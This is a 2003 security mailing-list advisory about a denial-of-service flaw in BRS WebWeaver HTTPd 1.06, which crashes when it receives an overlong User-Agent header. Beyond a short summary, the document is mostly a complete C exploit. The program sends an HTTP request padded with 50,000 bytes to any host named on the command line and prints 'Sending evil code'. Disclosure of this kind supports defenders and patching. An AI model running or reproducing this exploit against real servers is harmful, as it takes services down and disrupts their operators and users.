[NT] BRS WebWeaver User-Agent DoS

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To: list@securiteam.com
Date: 5 Nov 2003 18:27:58 +0200

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  BRS WebWeaver User-Agent DoS
------------------------------------------------------------------------

SUMMARY

BRS WebWeaver HTTPd crashes and freezes the whole system, when it gets a
request that contains a long string within `User-Agent` field.

DETAILS

Vulnerable systems:
 * BRS WebWeaver version 1.06

Exploit:
/*
 * BRS WebWeaver v.1.06 remote DoS exploit
 *
 * -d4rkgr3y [d4rk@securitylab.ru]
 *
 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>

#define port 80

main(int argc, char **argv) {
  struct hostent *hs;
  struct sockaddr_in sock;
  int sockfd, i;
  const c = 50000;
  char request[50150] =
    "GET /m00-r0cz HTTP/1.0\n"
    "Accept: */*\n"
    "Accept-Language: jp\n"
    "Accept-Encoding: gzip, deflate\n"
    "Host: m00security.org\n"
    "User-Agent: ";
  printf("BRS WebWeaver v.1.06 remote DoS exploit\n\n");

  if (argc!=2){
    printf("usage\n %s hostname\n\n",argv[0]);
    exit(1);
  }

  //memset((request+98),0x41,c);
  memset((request+strlen(request)),0x41,c);
  /* l33t ;] */
  request[strlen(request)] = 0x0a;
  request[strlen(request)] = 0x43;
  request[strlen(request)] = 0x6f;
  request[strlen(request)] = 0x6e;
  request[strlen(request)] = 0x6e;
  request[strlen(request)] = 0x65;
  request[strlen(request)] = 0x63;
  request[strlen(request)] = 0x74;
  request[strlen(request)] = 0x69;
  request[strlen(request)] = 0x6f;
  request[strlen(request)] = 0x6e;
  request[strlen(request)] = 0x3a;
  request[strlen(request)] = 0x20;
  request[strlen(request)] = 0x4b;
  request[strlen(request)] = 0x65;
  request[strlen(request)] = 0x65;
  request[strlen(request)] = 0x70;
  request[strlen(request)] = 0x2d;
  request[strlen(request)] = 0x41;
  request[strlen(request)] = 0x6c;
  request[strlen(request)] = 0x69;
  request[strlen(request)] = 0x76;
  request[strlen(request)] = 0x65;
  request[strlen(request)] = 0x0a;
  request[strlen(request)] = 0x0a;

  bzero(&sock, sizeof(sock));
  sock.sin_family = AF_INET;
  sock.sin_port = htons(port);
  if ((sock.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
    if ((hs=gethostbyname(argv[1]))==NULL) {
      printf("damn");
      exit(1);
    }
    printf("~ Host resolved.\n");
    sock.sin_family = hs->h_addrtype;
    memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
  }
  if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("damn"); exit(0);
  }

  if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
    perror("damn"); exit(0);
  }
  printf("~ Socket connected\n");
  printf("~ Sending evil code... ");
  write(sockfd,request,strlen(request));
  printf("done\n\n");
  close(sockfd);
}
/* m00 */

ADDITIONAL INFORMATION

The information has been provided by <mailto:d4rk@securitylab.ru>
d4rkgr3y.

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